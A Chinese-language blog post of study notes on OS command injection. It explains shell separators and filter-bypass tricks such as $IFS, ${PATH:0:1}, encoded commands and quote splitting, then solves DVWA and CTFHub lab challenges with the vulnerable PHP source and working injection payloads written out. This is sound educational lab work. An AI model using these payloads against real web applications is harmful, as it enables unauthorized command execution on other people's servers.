命令注入的一點學習記錄

原文在:https://valecasec.github.io/2020/05/10/command-injection/

# Command_Injection

## 一、`Command_Injection` 簡介

命令注入是一種攻擊,其目標是通過易受攻擊的應用程序在主機操作系統上執行任意命令。當應用程序將用戶提供的不安全數據(表單,cookie,HTTP標頭等)傳遞到系統外殼時,可能會發生命令注入攻擊。在這種攻擊中,攻擊者提供的操作系統命令通常是在易受攻擊的應用程序的特權下執行的。由於沒有足夠的輸入驗證,因此可能發生命令注入攻擊。

此攻擊與代碼注入不同,代碼注入使攻擊者可以添加自己的代碼,然後由應用程序執行。在“命令注入”中,攻擊者擴展了應用程序的默認功能,該功能執行系統命令,而無需注入代碼。

[1]: https://owasp.org/www-community/attacks/Command_Injection    "OWASP"

我個人覺得命令注入跟命令執行其實是有很多地方是一樣的,但是作爲一個菜雞,我也不敢說這種話,所以只能在自己的博客裏叨叨幾句。

## 二、`Command_Injection` 符號集

### 1、在 `Windows` 下的使用

#### 1.1、管道符

##### 1.1.1、`|`

**作用**:直接執行管道符後面的語句

**舉例:**

```powershell
C:\>ping 127.0.0.1 | dir
 驅動器 C 中的卷沒有標籤。
 卷的序列號是 567B-6DCF

 C:\ 的目錄

2020/03/28  15:05    <DIR>          Intel
2020/04/25  16:06    <DIR>          PerfLogs
2020/05/07  19:29    <DIR>          Program Files
2020/05/07  19:29    <DIR>          Program Files (x86)
2020/03/29  16:17    <DIR>          Users
2020/04/25  16:06    <DIR>          Windows
               0 個文件              0 字節
               7 個目錄 209,117,048,832 可用字節
```

##### 1.1.2、`||`

**作用**:如果前面的語句爲假則執行後面的語句

**舉例:**

###### 1.2.1、當前面語句爲假時

```powershell
C:\>ping -n 1 1 || dir

正在 Ping 0.0.0.1 具有 32 字節的數據:
PING:傳輸失敗。常見故障。

0.0.0.1 的 Ping 統計信息:
    數據包: 已發送 = 1,已接收 = 0,丟失 = 1 (100% 丟失),
 驅動器 C 中的卷沒有標籤。
 卷的序列號是 567B-6DCF

 C:\ 的目錄

2020/04/22  09:27    <DIR>          $WINDOWS.~BT
2020/03/28  15:05    <DIR>          Intel
2020/04/25  16:06    <DIR>          PerfLogs
2020/05/07  19:29    <DIR>          Program Files
2020/05/07  19:29    <DIR>          Program Files (x86)
2020/03/29  16:17    <DIR>          Users
2020/04/25  16:06    <DIR>          Windows
               0 個文件              0 字節
               7 個目錄 209,110,179,840 可用字節
```

###### 1.2.2、當前面語句爲真時

```powershell
C:\>ping 127.0.0.1 || dir

正在 Ping 127.0.0.1 具有 32 字節的數據:
來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128
來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128
來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128
來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128

127.0.0.1 的 Ping 統計信息:
    數據包: 已發送 = 4,已接收 = 4,丟失 = 0 (0% 丟失),
往返行程的估計時間(以毫秒爲單位):
    最短 = 0ms,最長 = 0ms,平均 = 0ms
```

所以,爲了執行,通常直接讓前面的語句爲假

##### 1.1.3、`&`

**作用**:如果前面的語句爲假則執行後面的語句,如果爲真就都執行

**舉例:**

###### 1.3.1、當前面語句爲假時

```powershell
C:\>ping 1 & dir

正在 Ping 0.0.0.1 具有 32 字節的數據:
PING:傳輸失敗。常見故障。
PING:傳輸失敗。常見故障。
PING:傳輸失敗。常見故障。
PING:傳輸失敗。常見故障。

0.0.0.1 的 Ping 統計信息:
    數據包: 已發送 = 4,已接收 = 0,丟失 = 4 (100% 丟失),
 驅動器 C 中的卷沒有標籤。
 卷的序列號是 567B-6DCF

 C:\ 的目錄

2020/04/22  09:27    <DIR>          $WINDOWS.~BT
2020/03/28  15:05    <DIR>          Intel
2020/04/25  16:06    <DIR>          PerfLogs
2020/05/07  19:29    <DIR>          Program Files
2020/05/07  19:29    <DIR>          Program Files (x86)
2020/03/29  16:17    <DIR>          Users
2020/04/25  16:06    <DIR>          Windows
               0 個文件              0 字節
               7 個目錄 209,111,924,736 可用字節
```

###### 1.3.2、當前面的語句爲真時

```powershell
C:\>ping -n 1 127.0.0.1 & dir

正在 Ping 127.0.0.1 具有 32 字節的數據:
來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128

127.0.0.1 的 Ping 統計信息:
    數據包: 已發送 = 1,已接收 = 1,丟失 = 0 (0% 丟失),
往返行程的估計時間(以毫秒爲單位):
    最短 = 0ms,最長 = 0ms,平均 = 0ms
 驅動器 C 中的卷沒有標籤。
 卷的序列號是 567B-6DCF

 C:\ 的目錄

2020/04/22  09:27    <DIR>          $WINDOWS.~BT
2020/03/28  15:05    <DIR>          Intel
2020/04/25  16:06    <DIR>          PerfLogs
2020/05/07  19:29    <DIR>          Program Files
2020/05/07  19:29    <DIR>          Program Files (x86)
2020/03/29  16:17    <DIR>          Users
2020/04/25  16:06    <DIR>          Windows
               0 個文件              0 字節
               7 個目錄 209,111,330,816 可用字節
```

##### 1.4、`&&`

**作用**:如果前面的語句爲假則直接出錯,後面的語句不會執行,所以必須保證前面的語句爲真

**舉例:**

```powershell
C:\>ping -n 1 127.0.0.1 && dir

正在 Ping 127.0.0.1 具有 32 字節的數據:
來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128

127.0.0.1 的 Ping 統計信息:
    數據包: 已發送 = 1,已接收 = 1,丟失 = 0 (0% 丟失),
往返行程的估計時間(以毫秒爲單位):
    最短 = 0ms,最長 = 0ms,平均 = 0ms
 驅動器 C 中的卷沒有標籤。
 卷的序列號是 567B-6DCF

 C:\ 的目錄

2020/04/22  09:27    <DIR>          $WINDOWS.~BT
2020/03/28  15:05    <DIR>          Intel
2020/04/25  16:06    <DIR>          PerfLogs
2020/05/07  19:29    <DIR>          Program Files
2020/05/07  19:29    <DIR>          Program Files (x86)
2020/03/29  16:17    <DIR>          Users
2020/04/25  16:06    <DIR>          Windows
               0 個文件              0 字節
               7 個目錄 209,107,546,112 可用字節
```

#### 1.2、查看文件相關指令

##### 1.2.1、type

**介紹:**`DOS` 命令行下查看文件內容的工具

**舉例:** 

```powershell
C:\Users\valecalida\Desktop>type flag.txt
flag
flag_is_here
```

##### 1.2.2、more

**介紹:**`DOS` 命令行下查看文件內容的工具,可以多屏顯示

**舉例:**

```powershell
C:\Users\valecalida\Desktop>more flag.txt
flag
flag_is_here
```

##### 1.2.3、find

**介紹:**`DOS` 命令行下在文件中查找指定內容的工具

**舉例:** 

```powershell
C:\Users\valecalida\Desktop>findstr .* flag.txt
flag
flag_is_here
```

##### 1.2.4、findstr

**介紹:**`DOS` 命令行下查找文件或內容的工具

**舉例:** 

```powershell
C:\Users\valecalida\Desktop>find /V "" flag.txt

---------- FLAG.TXT
flag
flag_is_here
```

### 2、在 `Linux` 下的使用

這部分的演示直接用 `WSL` 。

#### 2.1、管道符

##### 2.1.1、`;`

**作用**:執行完前面的語句再執行後面的。

**舉例:**

```bash
➜  Desktop ping -c 1 127.0.0.1;whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=128 time=0.209 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.209/0.209/0.209/0.000 ms

root
```

**Tips:**這裏需要注意的是,如果前面的命令是錯的,後面的也會執行

##### 2.1.2、`|`

**作用**:顯示後面語句的執行結果。

**舉例:**

```bash
➜  Desktop ping -c 1 127.0.0.1 | whoami
root
```

**Tips:** 由於這個特性,所以前面無論是否正確都能獲得後面命令的輸出

##### 2.1.3、`||`

**作用:當前面的語句執行出錯時執行後面的語句**

**舉例:**

```bash
➜  Desktop ping 127.0.0. || whoami
ping: 127.0.0.: Name or service not known
root
```

**Tips:** 這裏可以直接將前面命令置爲錯誤的

##### 2.1.4、`&`

**作用**:如果前面的語句爲假就直接執行後面的語句

**舉例:**

```bash
➜  valecalida ping -c 1 127.0.0. & whoami
[1] 40
root
```

**Tips:** 前面的語句同樣可是爲真

##### 2.1.5、`&&`

**作用**:如果前面的語句爲假直接出錯,後面的也不執行,所以前面的必須爲真

**舉例:**

```bash
➜  valecalida ping -c 1 127.0.0. && whoami
ping: 127.0.0.: Name or service not known
➜  valecalida ping -c 1 127.0.0.1 && whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=128 time=0.202 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.202/0.202/0.202/0.000 ms
root
```

#### 2.2、查看文件相關指令

##### 2.2.1、cat

**介紹:**`SHELL` 命令行下查看文件內容的工具

**舉例:** 

```bash
➜  Desktop cat flag.txt
flag
flag_is_here
```

##### 2.2.2、more

**介紹:**`SHELL` 命令行下多屏顯示文件內容的工具

**舉例:** 

```bash
➜  Desktop more flag.txt
flag
flag_is_here
```

##### 2.2.3、less

**介紹:**`SHELL` 命令行下查看文件內容的工具

**舉例:** 

```bash
➜  Desktop less flag.txt
flag
flag_is_here
flag.txt (END)
```

##### 2.2.4、head

**介紹:**`SHELL` 命令行下查看文件內容的工具

**舉例:**

```bash
➜  Desktop head -n 2 flag.txt
flag
flag_is_here
```

##### 2.2.5、tail

**介紹:**`SHELL` 命令行下查看文件內容的工具

**舉例:**

```bash
➜  Desktop tail -n 2 flag.txt
flag
flag_is_here
```

##### 2.2.6、tac

**介紹:**`SHELL` 命令行下逆序查看文件內容的工具

**舉例:**

```bash
➜  Desktop tac flag.txt
flag_is_here
flag
```

##### 2.2.7、grep

**介紹:**`SHELL` 命令行下查看文件內容的工具

**舉例:**

```bash
➜  Desktop grep -v "\n" flag.txt
flag
flag_is_here
```

##### 2.2.8、sed

**介紹:**`SHELL` 命令行下處理文件內容的工具

**舉例:**

```bash
➜  Desktop sed -n 1,2p flag.txt
flag
flag_is_here
```

##### 2.2.9、nl

**介紹:**`SHELL` 命令行下輸出文件內容並添加行號的工具

**舉例:**

```bash
➜  Desktop nl flag.txt
     1  flag
     2  flag_is_here
```

##### 2.2.10、*vi/vim

**介紹:**`SHELL` 命令行下編輯文件內容的工具,通常Linux默認安裝了vi

**舉例:** 

```bash
➜  Desktop vi flag.txt
flag
flag_is_here
```

### 3、某些特殊字符的繞過

#### 3.1、空格的繞過

##### 3.1.1、`<`

```bash
➜  Desktop cat<flag.txt
flag
flag_is_here
```

##### 3.1.2、`$IFS`

```bash
root@VALECALIDA:/mnt/c/Users/valecalida/Desktop# cat${IFS}flag.txt
flag
flag_is_here
```

**Tips:**這裏需要注意,在 `zsh` 下 `$IFS` 是用不了的,只能在原SHELL環境下使用

##### 3.1.3、`{Command,Object}`

```bash
root@VALECALIDA:/mnt/c/Users/valecalida/Desktop# {cat,flag.txt}
flag
flag_is_here
```

##### 3.1.4、`<>`

```bash
root@VALECALIDA:/mnt/c/Users/valecalida/Desktop# cat<>flag.txt
flag
flag_is_here
```

##### 3.1.5、`$IFS$9`

`$9` 是當前系統shell進程的第九個參數的持有者,它始終爲空字符串。

```bash
root@DESKTOP-OHTJ68E:# cat$IFS$9flag.txt
flag
flag_is_here
```

#### 3.2、`/` 的繞過

##### 3.2.1、環境變量繞過

環境變量中第一個字符永遠都是 `/` ,因此可以利用這個來繞過

```bash
root@VALECALIDA:~# cat ${PATH:0:1}root${PATH:0:1}flag.txt
flag
flag_is_here
```

##### 3.2.2、`$(echo . | tr '!-0' '"-1')`

```bash
root@VALECALIDA:~# cat $(echo . | tr '!-0' '"-1')root$(echo . | tr '!-0' '"-1')flag.txt
flag
flag_is_here
```

##### 3.2.3、`$(tr '!-0' '"-1' <<< .)`

```bash
root@VALECALIDA:~# cat $(tr '!-0' '"-1' <<< .)root$(tr '!-0' '"-1' <<< .)flag.txt
flag
flag_is_here
```

#### 3.3、`cat` 的繞過

此處其他命令也是一樣的方法

##### 3.3.1、變量拼接

讓變量 `a` 、`b` 分別表示 `cat` 的某一部分,使得這兩個變量拼接在一起時能夠形成完整的 `cat`

```bash
root@DESKTOP-OHTJ68E:# a=ca;b=t;$a$b${IFS}flag.txt
flag
flag_is_here
```

##### 3.3.2、編碼繞過

###### **十六進制編碼**

先將命令轉換爲 `16進制` ,最後的 `0a` 是換行符不必管它,也可以去掉,不過它不影響最終結果

```bash
root@DESKTOP-OHTJ68E:# echo $(xxd -pu <<< "cat flag.txt")
63617420666c61672e7478740a
#或者可以用下面這個命令
root@DESKTOP-OHTJ68E:# echo -n "cat flag.txt" | od -A n -t x1 | sed 's/ //g'
63617420666c61672e747874
```

然後利用 `xxd` 將文件內容轉碼回來

```bash
root@DESKTOP-OHTJ68E:# echo 63617420666C61672E747874 | xxd -r -p | bash
flag
flag_is_here
```

###### **八進制編碼**

這裏一樣,需要先將命令轉換爲 `8進制` 

```bash
root@DESKTOP-OHTJ68E:# echo -n "cat flag.txt" | od -A n -t o1 | sed 's# #\\#g'
\143\141\164\040\146\154\141\147\056\164\170\164
```

執行對應的命令

```bash
root@DESKTOP-OHTJ68E:# $(printf "\143\141\164\040\146\154\141\147\056\164\170\164")
flag
flag_is_here
#這裏也可以直接用對應的命令替換,同樣能達到效果
root@DESKTOP-OHTJ68E:# $(printf $(echo -n "cat flag.txt" | od -A n -t o1 | sed 's# #\\#g'))
flag
flag_is_here
```

###### **Base64編碼**

首先將命令轉換位 `Base64` 編碼

```bash
root@DESKTOP-OHTJ68E:# echo "cat flag.txt" | base64
Y2F0IGZsYWcudHh0Cg==
```

然後將命令執行一下:

```bash
root@DESKTOP-OHTJ68E:# `echo Y2F0IGZsYWcudHh0Cg== | base64 -d`
flag
flag_is_here
#或者乾脆調用命令
root@DESKTOP-OHTJ68E:# `echo $(echo "cat flag.txt" | base64) | base64 -d`
flag
flag_is_here
```

##### 3.3.3、反斜線繞過

```bash
root@DESKTOP-OHTJ68E:/mnt/c/Users/Savalen/Desktop# ca\t fl\ag.txt
flag
flag_is_here
```

##### 3.3.4、單雙引號繞過

```bash
root@DESKTOP-OHTJ68E:/mnt/c/Users/Savalen/Desktop# ca''t fla""g.txt
flag
flag_is_here
```

##### 3.3.5、`$@` 繞過

```bash
root@DESKTOP-OHTJ68E:/mnt/c/Users/Savalen/Desktop# ca$@t [email protected]
flag
flag_is_here
```

## 三、從案例看 `Command_Injection`

### 1、DVWA

#### 1.1、Level——Low

**源碼:**

```php
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>
```

**分析:**

可以看到,該等級沒有對用戶的輸入做任何限制,直接執行用戶傳遞進來的參數

**突破:**

先構造一個最簡單的語句 `127;ls ` 來查看本地存在的文件內容

<img src="https://s1.ax1x.com/2020/05/11/YGfvCj.png">

可以看到,本地上存在一個 `flag.php` 文件,同時 `ls` 命令執行成功了說明這是 `Linux` 操作系統,構造新語句: `127;cat${IFS}flag.php` 來獲取 `flag`

<img src="https://s1.ax1x.com/2020/05/11/YGfx8s.png">

#### 1.2、Level——Medium

**源碼:**

```php
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>
```

**分析:**

可以看到,該等級已經添加了過濾,會直接把 `&&` 和 `;`  過濾掉,所以在繞過的時候就不能用這個了

**突破:**

在上面的命令注入符號集中我也分析了 `|` 這種符號,剛好可以用在這,於是構造語句 `127|ls`

<img src="https://s1.ax1x.com/2020/05/11/YGfX5Q.png">

發現可以獲取到當前路徑下的文件和文件夾,於是構造 `127|cat${IFS}flag.php` 直接查看 `flag`

<img src="https://s1.ax1x.com/2020/05/11/YGfOUg.png">

#### 1.2、Level——High

**源碼:**

```php
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>
```

**分析:**

可以看到這次過濾範圍更廣了,將 `&`、`;`、`| `、`_`、`$`、`(`、`)`、"\`"、`||` 這些字符過濾了,但是 `| `這個符號後面有個空格,於是可以作爲突破口構造語句 `127|ls`

<img src="https://s1.ax1x.com/2020/05/11/YGfvCj.png">

**突破:**

可以看到獲取到了文件夾下的相關內容,接着直接獲取 `flag` 

<img src="https://s1.ax1x.com/2020/05/11/YGfLVS.png">

### 2、CTFHUB

#### 2.1、過濾了 `cat`

**源碼:**

```php
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>
```

**源碼分析:**

只是對輸入的數據進行匹配,匹配到 `cat` 就過濾掉,置爲空,沒有就執行

**突 破:**

**常規方法:**

使用 `more、less、tail、head、tac、grep...` 突破

**繞過方法:**

變量拼接繞過

```bash
?ip=1%7C%7Ca=c;b=at;$a$b${IFS}flag_555743693183.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJ8GAe.png">

`Base64` 編碼繞過

```bash
`echo+Y2F0IGZsYWdfNTU1NzQzNjkzMTgzLnBocAo=+|+base64+-d`#
```

<img src="https://s1.ax1x.com/2020/05/11/YJ8lnK.png">

單雙引號繞過

```bash
?ip=1||ca%27%27t%20flag_555743693183.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJ810O.png">

`$@` 繞過

```bash
?ip=1||ca$@t%20flag_555743693183.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJ8JtH.png">

反斜線繞過

```bash
?ip=1||ca\t%20flag_555743693183.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJ837D.png">

#### 2.2、過濾了空格

**源碼:**

```php
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>
```

**源碼分析:**

該程序對所有用戶輸入的數據中的空格做過濾。

**突 破:**

這裏只寫幾種方式,方式比較多,就不一一寫了。

使用 `1|ls` 確認包含 `flag` 的文件名爲:`flag_3854640629200.php`

**使用 `<` 繞過**

```bash
?ip=1%7Ccat%3Cflag_3854640629200.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJhkkD.png">

**使用 `${IFS} ` 繞過**

```bash
?ip=1%7Ccat${IFS}flag_3854640629200.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJhiTO.png">

**使用 `$IFS$9`**

```bash
?ip=1%7Ccat$IFS$9flag_3854640629200.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJhP0K.png">

#### 2.3、過濾目錄分隔符

**源碼:**

```php
<?php
$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>
```

**源碼分析:**

本次只過濾一個 `/` 符號,也就是目錄分割符。

**突破:**

最基本的思路是切換路徑,然後查看 `flag`

```bash
?ip=127.0.0.1;cd flag_is_here;cat flag_39981724213143.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJT2T0.png">

**使用 `${PATH:0:1}` 即環境變量繞過**

```bash
?ip=1|cat%20flag_is_here${PATH:0:1}flag_39981724213143.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJTuo6.png">

**使用 `$(echo . | tr '!-0' '"-1')` 繞過**

```bash
?ip=127.0.0.1|cat flag_is_here$(echo . | tr '!-0' '"-1')flag_39981724213143.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJTndx.png">

#### 2.4、綜合練習

**源碼:**

```php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>
```

**源碼分析:**

代碼中過濾了 `|` 、`&`、`;`、`/`、`cat`、` `、`flag`、`ctfhub`、所以說 `||` 和 `&&` 也都不能用了,這時候就需要沒有空格的執行命令了

**突破:**

Linux下默認的換行符爲`0a`,在`URL`中也可以用 `%0a` 來代替,另外還有回車符 `%0d`

先獲取當前目錄信息

```bash
?ip=127.0.0.1%0als#
```

<img src="https://s1.ax1x.com/2020/05/11/YJxBE4.png">

可以看到,這裏`flag` 所在路徑在 `flag_is_here` 這個文件夾下面,所以下一步需要探查這個文件夾下的內容,用 `${IFS}` 代替空格,`[a-z]` 代表其中的一個字符,進行查詢

```bash
?ip=127.0.0.1%0als${IFS}fla[a-z]_is_here#
```

<img src="https://s1.ax1x.com/2020/05/11/YJxwbF.png">

可以看到包含 `flag` 的文件名稱爲: `flag_324971920919598.php`,接着就需要獲取 `flag` 信息了

```bash
?ip=127.0.0.1%0amore${IFS}fla[a-z]_is_here${PATH:0:1}fl[a-z]g_324971920919598.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJxdDU.png">

還可以構造

```bash
?ip=127.0.0.1%0acd${IFS}fla[a-z]_is_here%0ac%27%27at${IFS}fl[a-z]g_324971920919598.php#
```

<img src="https://s1.ax1x.com/2020/05/11/YJxauT.png">

當然還有其他的一些變形,就不都寫出來了

### Addtions:

後續會再補充新的姿勢進來,敬請期待....

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章